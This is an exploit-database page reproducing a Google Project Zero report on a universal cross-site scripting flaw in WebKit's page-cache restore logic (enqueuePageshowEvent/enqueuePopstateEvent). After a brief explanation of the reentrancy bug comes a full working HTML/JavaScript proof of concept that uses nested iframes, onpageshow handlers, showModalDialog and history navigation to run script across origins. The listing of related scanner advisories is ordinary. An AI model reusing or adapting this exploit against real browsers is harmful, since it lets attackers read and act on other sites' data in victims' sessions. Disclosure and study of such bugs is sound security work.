WebKit - enqueuePageshowEvent and enqueuePopstateEvent Universal Cross-Site Scripting Exploit

🗓️ 25 May 2017 00:00:00Reported by Google Security ResearchType

zdt🔗 0day.today👁 30 Views

WebKit Universal Cross-Site Scripting Exploit - enqueuePageshowEvent and enqueuePopstateEven

Reporter	Title	Published	Views	Family All 56
Tenable Nessus	Apple iOS < 10.3.2 Multiple Vulnerabilities	17 May 201700:00	–	nessus
Tenable Nessus	Safari < 10.1.1 Multiple Vulnerabilities	18 May 201700:00	–	nessus
Tenable Nessus	Apple iOS < 10.3.2 Multiple Vulnerabilities	18 May 201700:00	–	nessus
Tenable Nessus	Fedora 25 : webkitgtk4 (2017-98bc28ae9e)	30 May 201700:00	–	nessus
Tenable Nessus	Fedora 26 : webkitgtk4 (2017-9e83b902f9)	17 Jul 201700:00	–	nessus
Tenable Nessus	Fedora 24 : webkitgtk4 (2017-d39099ea6a)	16 Jun 201700:00	–	nessus
Tenable Nessus	GLSA-201706-15 : WebKitGTK+: Multiple vulnerabilities	8 Jun 201700:00	–	nessus
Tenable Nessus	macOS : Apple Safari < 10.1.1 Multiple Vulnerabilities	23 May 201700:00	–	nessus
Tenable Nessus	openSUSE Security Update : webkit2gtk3 (openSUSE-2017-1268)	13 Nov 201700:00	–	nessus
Tenable Nessus	openSUSE Security Update : webkit2gtk3 (openSUSE-2018-118) (Meltdown) (Spectre)	1 Feb 201800:00	–	nessus

<!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1151
 
Here is a snippet of CachedFrameBase::restore which is invoked when cached frames are restored.
 
void CachedFrameBase::restore()
{
    ...
    for (auto& childFrame : m_childFrames) {
        ASSERT(childFrame->view()->frame().page());
        frame.tree().appendChild(childFrame->view()->frame());
        childFrame->open(); <----- (a)
    }
    ...
    // FIXME: update Page Visibility state here.
    // https://bugs.webkit.org/show_bug.cgi?id=116770
    m_document->enqueuePageshowEvent(PageshowEventPersisted);
 
    HistoryItem* historyItem = frame.loader().history().currentItem();
    if (historyItem && historyItem->stateObject())
        m_document->enqueuePopstateEvent(historyItem->stateObject());
 
    frame.view()->didRestoreFromPageCache();
}
 
enqueuePageshowEvent and enqueuePopstateEvent are named "enqueue*", but actually those *dispatch* window events that may fire JavaScript handlers synchronously. 
 
At (a), |open| method may invoke |CachedFrameBase::restore| method again. Thus, the parent frame's document may be replaced while |open| is called in the iteration, the next child frame is attached to the parent frame holding the replaced document.
 
PoC:
-->
 
<html>
<body>
<script>
 
function createURL(data, type = 'text/html') {
    return URL.createObjectURL(new Blob([data], {type: type}));
}
 
function navigate(w, url) {
    let a = w.document.createElement('a');
    a.href = url;
    a.click();
}
 
function main() {
    let i0 = document.body.appendChild(document.createElement('iframe'));
    let i1 = document.body.appendChild(document.createElement('iframe'));
 
    i0.contentWindow.onpageshow = () => {
        navigate(window, 'https://abc.xyz/');
 
        showModalDialog(createURL(`
<script>
let it = setInterval(() => {
    try {
        opener.document.x;
    } catch (e) {
        clearInterval(it);
        window.close();
    }
}, 10);
</scrip` + 't>'));
 
    };
 
    i1.contentWindow.onpageshow = () => {
        i1.srcdoc = '<script>alert(parent.location);</scrip' + 't>';
        navigate(i1.contentWindow, 'about:srcdoc');
    };
 
    navigate(window, createURL(`<html><head></head><body>Click anywhere<script>
window.onclick = () => {
    window.onclick = null;
 
    history.back();
};
 
</scrip` + `t></body></html>`));
}
 
window.onload = () => {
    setTimeout(main, 0);
};
 
</script>
</body>
</html>

#  0day.today [2018-01-08]  #

25 May 2017 00:00Current

7.6High risk

Vulners AI Score7.6

EPSS0.01191